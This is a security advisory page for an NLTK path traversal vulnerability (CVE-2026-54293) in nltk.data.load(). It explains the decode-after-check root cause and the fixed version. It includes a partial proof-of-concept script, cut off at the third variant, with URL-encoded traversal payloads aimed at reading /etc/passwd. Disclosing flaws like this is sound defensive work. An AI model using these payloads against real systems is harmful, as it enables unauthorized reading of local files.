Skip to content
NLTKGHSA-p4gq-832x-fm9v

Natural Language Toolkit (NLTK): URL-Encoded Path Traversal in nltk.data.load() Allows Arbitrary Local File Read

High7.5CVE-2026-54293 · Published Jun 16, 2026 · updated Sep 10, 2026

GitHub advisory

Affected versions

PackageAffectedFixed in
nltk
PyPI
< 3.10.03.10.0
Details and references

### Summary nltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem. While literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path. ### Affected Component nltk/data.py , find(), normalize_resource_url(), and the _UNSAFE_NO_PROTOCOL_RE regex check. Relevant occurrences: data.py L650–L653 , final path constructed from url2pathname(resource_name) after checks data.py L54–L69 , _UNSAFE_NO_PROTOCOL_RE operates only on the undecoded string data.py L219–L245 , normalize_resource_url() for nltk: scheme contributes to decode-after-check data.py L615–L618 , defense-in-depth traversal check also operates on undecoded input Root Cause The regex _UNSAFE_NO_PROTOCOL_RE is matched against the raw resource string. Path normalization via url2pathname() happens later, so any percent-encoded / (%2f) or . (%2e) is invisible to the regex but becomes active in the final path. ### Proof of Concept ``` """ NLTK Arbitrary File Read via URL-Encoded Path Traversal ======================================================= Bypasses _UNSAFE_NO_PROTOCOL_RE security regex in nltk/data.py by URL-encoding path separators and traversal components. Affected: NLTK <= 3.9.4 (default ENFORCE=False configuration) CWE: CWE-22 (Path Traversal) Root Cause: nltk/data.py:find() checks resource names against a regex for traversal patterns (../, leading /, etc.) BEFORE calling url2pathname() which decodes %xx sequences. This is a classic "decode-after-check" vulnerability. """ import sys import os import warnings # Suppress NLTK security warnings for clean PoC output warnings.filterwarnings("ignore", category=RuntimeWarning) # Setup sys.path.insert(0, os.path.join(os.path.dirname(__file__), "nltk")) os.makedirs(os.path.expanduser("~/nltk_data/corpora"), exist_ok=True) import nltk from nltk.pathsec import ENFORCE BANNER = """ =================================================== NLTK URL-Encoded Path Traversal PoC Affected: nltk <= 3.9.4 Default ENFORCE={enforce} =================================================== """.format(enforce=ENFORCE) def test_variant(name, payload, fmt="raw"): """Test a single traversal variant.""" try: content = nltk.data.load(payload, format=fmt) if isinstance(content, bytes): preview = content[:200].decode("utf-8", errors="replace") else: preview = content[:200] first_line = preview.split("\n")[0] print(f" [VULN] {name}") print(f" Payload: {payload}") print(f" Read OK: {first_line}") return True except Exception as e: print(f" [SAFE] {name}") print(f" Payload: {payload}") print(f" Blocked: {type(e).__name__}: {e}") return False def main(): print(BANNER) vulns = 0 # --- Variant 1: URL-encoded absolute path --- print("[1] URL-encoded absolute path (%2f = /)") if test_variant( "Encoded leading slash bypasses ^/ regex check", "nltk:%2fetc%2fpasswd", ): vulns += 1 print() # --- Variant 2: Encoded dot-dot traversal --- print("[2] URL-encoded dot-dot traversal (%2e = .)") if test_variant( "Encoded dots bypass \\.\\./ regex check", "nltk:corpora/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd", ): vulns += 1 print() # --- Variant 3: Literal dots with encoded slash --- print("[3] Literal dots with encoded slash (..%2f)") if test_variant( "

CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Severity from
GitHub (reviewed advisory)
Weakness
CWE-22
Also known as
CVE-2026-54293, PYSEC-2026-2078

More NLTK advisories

All NLTK

Critical advisories by email

Wednesdays: the week’s critical and high advisories in the AI and data stack, with the fixed versions. Only in weeks that have some.

Double opt-in. Unsubscribe any time.